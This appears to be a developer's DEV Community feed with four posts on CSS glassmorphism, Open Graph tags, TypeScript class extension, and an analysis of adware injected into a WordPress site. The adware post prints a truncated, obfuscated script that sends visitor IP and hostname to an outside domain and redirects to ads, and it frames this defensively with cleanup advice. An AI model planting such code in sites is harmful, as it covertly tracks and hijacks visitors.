DEV Community: Mohamed Nabous

Weekend hobby: Achieving Glassmorphism (ik 💀) with mouse glow

Mohamed Nabous — Sat, 13 Dec 2025 23:53:58 +0000

Okay here is an attempt to be authentic without any LLMs to make this post for me, in this sea of robots. i have a hot take on them at the end of this blog post as to why you should never skip learning your basics!

One of my old hobbies was that over the weekends, whenever i saw something beautiful implemented somewhere,
i immediately bang my head against the keyboard until i figure out how to do it with HTML/CSS.

Yes... only these 2... HTML and CSS, i try to stay away from having to resort to JS as much as i can, in order to make this thing i saw,
is rendered as native as the browser can, so it can be super performant, and less verbose when implemented.

Here is my latest weekend session 😄 the focus was on what was so called as glassmorphism, tho it has became an old design trend term at this point
but this is mainly about how i could make the mouse have a glowing effect against the acrylic-y background of the UI elements, which i first saw this in windows 10.

before further ado, here is the codepen to see it in action and see the code - you only see the effect if you mess with the calculator with a mouse in order.
https://codepen.io/monabbous/full/VYaOwNb

and here is the code for it

:root {
  /* these are the base vars which is used in the class it self, but can be used in an extended format */
  --glassmorphism-bg__position-x: calc(var(--mouse-x, -100vmax));
  --glassmorphism-bg__position-y: calc(var(--mouse-y, -100vmax));

  --glassmorphism-bg: radial-gradient(
      circle at var(--glassmorphism-bg__position-x) var(
          --glassmorphism-bg__position-y
        ),
      hsla(from var(--colors__accent) h s l / 0.05) 0%,
      transparent 30%
    ) center center / 100vw 100vh fixed no-repeat;

  --glassmorphism-border: radial-gradient(
      circle at calc(var(--glassmorphism-bg__position-x)) calc(
          var(--glassmorphism-bg__position-y)
        ),
      hsla(from var(--colors__accent) h s l / 0.2) 0%,
      transparent 10%
    ) center center / 100vw 100vh fixed no-repeat border-box;
}

/* slap this class on any element and it will just have the acrylic with the mouse glowing effect */
.glassmorphism {
  border: 1px solid transparent;
  backdrop-filter: blur(40px);
  background: var(--glassmorphism-bg);
  background-color: hsla(from var(--colors__background) h s l / 0.4);

  &::before {
    content: "";
    position: absolute;
    inset: -1px;
    margin: auto;
    z-index: 100;
    border-radius: inherit;
    border: inherit;
    border-color: transparent;
    padding: inherit;
    pointer-events: none;
    background: var(--glassmorphism-border);
    mask: linear-gradient(white, white) padding-box no-repeat, linear-gradient(
          white,
          white
        ) no-repeat;
    mask-composite: exclude;
  }
}

/* this is the only js needed to track the mouse position and save it as css variables */
const root = document.documentElement;

window.addEventListener("pointermove", (e) => {
  root.style.setProperty("--mouse-x", `${e.clientX}px`);
  root.style.setProperty("--mouse-y", `${e.clientY}px`);
});

Now the thought process that i went through:

First how can i do this with just css and html? well... you need the mouse position, so i need js here... and so i added an event listener to take the mouse position in the window and save it as css variable, and that's it!! no more JS!

Then i was thinking about how can i show the glowing effect for only the foreground elements such as cards or buttons, AND most importantly there is continuity between the elements - the glow is presented between different elements as a circle that goes through the elements and its continuous through all of them.
well i didn't have to think hard, background-attachment: fixed; thats the secret, it tells the browser to render the background positioned and sized relative to the window and not the element, but clip the portion of where the element is positioned relative to the window and use it as a background, so what i did is defined a small circle gradient with where the center is a color i chose and grades to transparent, and linked the position of the origin of the gradient to be the mouse position and with the fixed attachment, the background is shared with the elements with continuity!!

It was a fun short moment of eureka... but it still didn't feel like it was sold to me, there was something missing... the border!

the border is essentially the glowing effect multiplied, just like how glass reflect the light at the end of the material.

so i used the before pseudo element, where it has the same background as the main element, but with a higher opacity, but it has a mask that only shows the border area of the element, so it looks like a border but its actually a full element with a mask on it.

Why? isn't glassmorphism an overused trend and now dead?

Well yeah, however this isn't like any glassmorphism, it looks somewhat photorealistic. but the main goal is that i wanted to share how after 10 years of software development, coding is still fun and challenging :D this is how i got really good at frontend, and earned to put "pixel perfect implementation of designs" on my resume.

Even with the surge of generative AIs making these type of coding like a piece of cake as someone would think. it wouldn't have been able to have this thought process to produce it this efficiently since (afaik) it hasn't been shared anywhere... until now with this post...

The point is, no matter how fast a gen-AI would code stuff like this, there is always something that will make you roll up your sleeves and spend time on figure it out using your basics knowledge, so always cover your basics, practice with a lot of side projects.

FIN.

Mastering E-Commerce SEO and SMO with Open Graph Meta Tags

Mohamed Nabous — Sun, 17 Sep 2023 20:21:44 +0000

Navigating the complex world of e-commerce requires a well-rounded online strategy, often built on two key pillars: Search Engine Optimization (SEO) and Social Media Optimization (SMO). Although they serve distinct functions, their effects can be synergized through the use of Open Graph meta tags. This guide aims to offer an in-depth look at SEO and SMO, shed light on the role of Open Graph meta tags, provide practical examples, and introduce debugging tools to fine-tune your e-commerce website's performance across both search engines and social media platforms.

1. Decoding SEO and SMO: The Fundamental Building Blocks

a. Search Engine Optimization (SEO):

SEO involves various elements like keyword research, content quality, and technical site optimization. It's about crafting a comprehensive strategy to not just achieve but also sustain high rankings on Search Engine Results Pages (SERPs).

b. Social Media Optimization (SMO):

SMO is more than just posting updates on social media platforms. It involves engaging with your audience through meaningful content and conversations, which not only increases your brand's social media presence but also drives more qualified traffic to your website.

2. The Role of Open Graph Meta Tags in SMO

a. What Are Open Graph Meta Tags?

Open Graph meta tags are HTML elements standardized by the Open Graph Protocol ( https://ogp.me/ ). These tags guide social media platforms on how to display your content, enhancing user engagement and click-through rates. Although they don't directly influence SEO, they contribute to the overall user experience, particularly when your content is shared on social media.

b. Commonly Used Open Graph Meta Tags for E-Commerce:

These are some of the more relevant Open Graph tags for e-commerce:

og:title: Indicates the product or page title.
og:type: Specifies the content type, commonly "product" for e-commerce.
og:image: Identifies the preview image URL.
og:url: Provides the canonical URL of the product page.
og:description: Offers a brief product description.
og:site_name: Names your website or brand.

These tags help generate rich previews of your content on social media, making it more appealing to prospective customers.

3. Practical Application: Open Graph Meta Tags in Action

Here's an HTML example that serves as a template for Open Graph tag implementation:

<head>
  <meta property="og:title" content="Quality Smartwatch Series A">
  <meta property="og:type" content="product">
  <meta property="og:image" content="https://example.com/product-image.jpg">
  <meta property="og:url" content="https://example.com/product-page">
  <meta property="og:description" content="Series A Smartwatch offers multi-functional features...">
  <meta property="og:site_name" content="ElectronicsHub">
  <meta property="product:price:amount" content="199.99">
  <meta property="product:price:currency" content="EUR">
</head>

4. Debugging Tools: Quality Assurance for Your Tags

Debugging tools are essential for previewing and troubleshooting your content on social media platforms:

Facebook Sharing Debugger https://developers.facebook.com/tools/debug/ : Validates how your link will appear on Facebook.
Twitter Card Validator https://cards-dev.twitter.com/validator : Allows you to preview how your product will display on Twitter.
LinkedIn Post Inspector https://www.linkedin.com/post-inspector/ : Ensures your LinkedIn posts appear as you intended.

Conclusion:

Achieving Harmony in SEO and SMO for E-Commerce
A balanced approach to SEO and SMO can be transformative for your e-commerce site. While SEO attracts organic traffic through search engines, SMO keeps the audience engaged on social media platforms. Open Graph meta tags serve as a bridge between these two strategies, ensuring your content is displayed optimally on social media, leading to better engagement and more clicks. By adopting these methods, your e-commerce platform is well-positioned to thrive in a competitive digital landscape.

Unraveling the Cryptic Adware in a WordPress Site: A Journey into JavaScript Obfuscation

Mohamed Nabous — Sun, 17 Sep 2023 19:53:10 +0000

Introduction

The story began when I was asked to troubleshoot a client's WordPress website that was acting a bit weird. Pop-ups, sluggish behavior, you name it. Being familiar with a bit of grey hat tactics and having an instinctive sense of "code smell," I stumbled upon a mysterious piece of JavaScript code in the site's footer.

The Mysterious Code

Here's the initial snippet:

<script>document.write(atob("PHNjcmlwdD52YXIgXzB4OTJmYj1bIlx4NDRceDRGXHg0RFx4NDNceDZGXHg2RVx4NzRceDY1XHg2RVx4NzRceDRDXHg2Rlx4NjFceDY0XHg2NVx4NjQiLCJceDY4XHg2Rlx4NzNceDc0XHg2RVx4NjFceDZEXHg2NSIsIlx..."));</script>

Base64 encoding and document.write() in a place where it doesn't belong? That's already suspicious enough.

First Level Decryption

After decoding the Base64 string, I got yet another script:

<script>
  var _$_bf30 = [
    "\x2E",
    "\x2D",
    "\x72\x65\x70\x6C\x61\x63\x65\x41\x6C\x6C",
    "\x69\x70",
    "\x3A",
    "\x68\x6F\x73\x74\x6E\x61\x6D\x65",
    "\x6C\x6F\x63\x61\x74\x69\x6F\x6E",
    "",
    ...
  ];
  (function (_0xD070) {
    fetch(_$_bf30[21])
      [_$_bf30[15]]((_0xD0C7) => _0xD0C7[_$_bf30[16]]())
      [_$_bf30[15]]((_0xD175) => {
        _0xD175 = _0xD175[_$_bf30[3]][_$_bf30[2]](_$_bf30[0], _$_bf30[1]);
        _0xD175 = _0xD175[_$_bf30[2]](_$_bf30[4], _$_bf30[1]);
        let _0xD11E = window[_$_bf30[6]][_$_bf30[5]];
        if (_0xD11E == _$_bf30[7]) {
          _0xD11E = _$_bf30[8];
        }
        fetch(
          _$_bf30[17] +
            _0xD11E +
            _$_bf30[0] +
            _0xD175 +
            _$_bf30[0] +
            Math[_$_bf30[19]](Math[_$_bf30[18]]() * 1024 * 1024 * 10) +
            _$_bf30[20]
        )
          [_$_bf30[15]]((_0xD0C7) => _0xD0C7[_$_bf30[16]]())
          [_$_bf30[15]]((_0xD1CC) => {
              ...
            window[_$_bf30[6]][_$_bf30[14]](_0xD223);
          });
      });
  })();
</script>

It was wrapped in layers of obfuscation, clearly trying to hide its real intent.

Unpacking the Hexadecimal Strings

The code had an array of hexadecimal strings that got translated into keywords, which were then used in the script:

var _$_bf30 = [
    ".",
    "-",
    "replaceAll",
    "ip",
    ":",
    "hostname",
    "location",
    "",
    "unk.com",
    "Answer",
    ...
];

Understanding the Deobfuscated Code

Upon translating the array and reading through the de-obfuscated JavaScript, the script seems to be doing the following:

Fetch IP using an external API (https://api64.ipify.org?format=json)
If hostname is empty, set it to a default ("unk.com" in this case)
Use the IP and hostname to make another fetch to a suspicious domain.
Unpack the previous fetch to get the ad URL and redirect the page to it.

Security Risks

Data Leakage: The script logs the IP and hostname which could be a potential privacy invasion.
Performance Impact: Unnecessary HTTP fetch requests are made, which can slow down the website.
Potential Malware: The final atob()-decoded string could be anything and could serve malicious content to the user.

How to Handle Such Cases?

Immediate Deactivation: The plugin or theme responsible should be immediately deactivated.
Security Scan: Perform a full website scan with security plugins like Wordfence or Sucuri.
Update and Patch: Ensure that all plugins, themes, and WordPress itself are legally purchased and owned, as well as up to date.
Code Review: If you've added custom snippets, review the code or get it reviewed.
Monitor: Keep an eye on the server logs for any abnormal activities.
Client Communication: Keep your client in the loop throughout the process and advise them on the best security practices moving forward.

Conclusion

While the world of coding offers endless possibilities for creativity and innovation, it also harbors the potential for misuse. What I unraveled in that client's WordPress site is just the tip of the iceberg. With malicious actors becoming increasingly sophisticated, it's not enough to merely fix the issue at hand. We have to be proactive, not reactive.

Key Takeaways:

Be Skeptical: If something seems off, it probably is. Listen to that gut feeling.
Be Prepared: Always keep your software updated and invest in reliable security plugins.
Educate: Make sure you and your clients are well-informed about the risks and how to mitigate them.

Remember, the safety of your web environment doesn't rest in the hands of some remote security expert; it starts with you. Don't be the weakest link. Stay alert, stay updated, and most importantly, stay safe.

Dynamic Class Instance Extension in TypeScript: Empowering Reusability and Flexibility

Mohamed Nabous — Wed, 12 Jul 2023 15:03:50 +0000

Introduction

In the world of JavaScript and TypeScript, creating reusable and flexible code is essential for building robust and maintainable applications. This article explores a powerful technique called Dynamic Class Instance Extension in TypeScript. We will dive into the code, explain the concept of mixins using a reference, showcase the benefits and considerations of Dynamic Class Instance Extension compared to mixins, and guide you on when to use each approach. By the end, you'll have a clear understanding of how to leverage these techniques in your JavaScript and TypeScript projects.

Understanding the Code

export class BaseClass {
    extend<D extends BaseClass>(domain: D) {
        const that = this;
        const ThisClassProto = Object.getPrototypeOf(this);
        const DomainClassProto = Object.getPrototypeOf(domain);

        class ExtendedClass {
            constructor() {
                Object.assign(this, that);
                Object.assign(this, domain);
            }
        }

        for (const propertyName of Object.getOwnPropertyNames(ThisClassProto)) {
            ExtendedClass.prototype[propertyName] = ThisClassProto[propertyName];
        }

        for (const propertyName of Object.getOwnPropertyNames(DomainClassProto)) {
            ExtendedClass.prototype[propertyName] = DomainClassProto[propertyName];
        }

        const extended = new ExtendedClass() as typeof this & D;

        Object.assign(extended, this, domain);

        return extended;
    }
}

Code Explanation

The provided code demonstrates Dynamic Class Instance Extension in TypeScript. Let's break down the code and understand its inner workings:

export class BaseClass:
- The BaseClass acts as the foundation for Dynamic Class Instance Extension, allowing other classes to inherit its properties and methods.
extend<D extends BaseClass>(domain: D):
- The extend method is defined within the BaseClass.
- It takes a generic type D that extends BaseClass as its argument, ensuring valid extensions.
Functionality within extend():
- The method begins by creating a reference to the current instance of BaseClass using that.
- The prototypes of the current instance and the extending domain class are obtained using Object.getPrototypeOf().
- The ExtendedClass is defined, which represents the dynamically extended class.
- Inside the constructor of ExtendedClass, the properties of the base class (that) and the domain class (domain) are merged into the new instance using Object.assign(). This allows the extended class to inherit properties from both the base class and the extending domain class.
- Two loops iterate over the properties of the base class and the domain class using Object.getOwnPropertyNames(). Each property is assigned to the prototype of ExtendedClass, ensuring the extended class incorporates properties and methods from both classes.
- Finally, a new instance of ExtendedClass is created and returned as the result of the extend method.

Mixins: An Introduction and Example

To better understand mixins, let's refer to an example that showcases a similar functionality using mixins. In this example, we'll create mixin classes and apply them to a target class.

class PrintableMixin {
    print() {
        console.log("Printable mixin method called");
    }
}

class LoggableMixin {
    log() {
        console.log("Loggable mixin method called");
    }
}

class Circle {
    // Circle-specific functionality
}

interface Circle extends PrintableMixin, LoggableMixin {}
applyMixins(Circle, [PrintableMixin, LoggableMixin]);

function applyMixins(derivedCtor: any, mixins: any[]) {
    for (const mixin of mixins) {
        Object.getOwnPropertyNames(mixin.prototype).forEach(name => {
            derivedCtor.prototype[name] = mixin.prototype[name];
        });
    }
}

const circle = new Circle();
circle.print(); // Output: "Printable mixin method called"
circle.log(); // Output: "Loggable mixin method called"

In the above example, we define two mixin classes: PrintableMixin and LoggableMixin. These mixins provide additional functionality that can be combined with the Circle class. By applying the mixins to the Circle class using the applyMixins function, we can dynamically extend the Circle instance with the methods defined in the mixins. The resulting extended instance retains the properties and methods of both the Circle class and the applied mixins.

Example: Dynamic Class Instance Extension

Let's explore an example to showcase the usage of Dynamic Class Instance Extension. Consider the following domain classes:

class UserDomain extends BaseClass {
    // Additional domain-specific properties and methods
}

class ProductDomain extends BaseClass {
    // Additional domain-specific properties and methods
}

class OrderDomain extends BaseClass {
    // Additional domain-specific properties and methods
}

To create instances of these domain classes and extend a base instance with multiple domains, you can use the following code:

// Create instances of domain classes
const userDomain = new UserDomain();
const productDomain = new ProductDomain();
const orderDomain = new OrderDomain();

// Extend the base instance with multiple domains
const api = new BaseClass()
    .extend(userDomain)
    .extend(productDomain)
    .extend(orderDomain);

In this example, we create instances of the domain classes (UserDomain, ProductDomain, OrderDomain). Then, we extend a base instance of BaseClass with these domains using the extend method. The resulting api instance incorporates properties and methods from both the base class and the extended domain classes.

Benefits and Considerations of Dynamic Class Instance Extension and Mixins

Both Dynamic Class Instance Extension and mixins offer powerful ways to enhance code reusability and flexibility. Let's compare them and identify their suitable use cases:

Dynamic Class Instance Extension

Benefits:
- Provides a simpler and more concise syntax for combining functionalities from multiple classes into a single object.
- Avoids potential conflicts and maintains a clear inheritance hierarchy by merging properties and methods sequentially.
- Promotes code reusability, reduces duplication, and encourages modular code design.
Considerations:
- Dynamic Class Instance Extension is limited to a single prototypal chain deep. If you require deeper prototypal inheritance, mixins may be a better choice.

Mixins

Benefits:
- Enables combining reusable code from multiple sources into a single class, enhancing code reusability and modularity.
- Supports complex prototypal chains, allowing for deep inheritance hierarchies.
Considerations:
- Requires manual application of mixins using helper functions or custom logic.
- Care must be taken to handle potential naming collisions or conflicting properties and methods from different mixins.

Conclusion

Dynamic Class Instance Extension and mixins offer powerful techniques to enhance code reusability and flexibility in JavaScript and TypeScript. By leveraging Dynamic Class Instance Extension, you can combine functionalities from multiple classes with simplicity

and maintain a clear inheritance hierarchy. Mixins, on the other hand, provide a way to combine reusable code from multiple sources, allowing for deep prototypal inheritance. Understanding the benefits and considerations of each approach empowers you to make informed decisions when designing and structuring your codebase. So go ahead, embrace these techniques, and unleash the full potential of your JavaScript and TypeScript projects!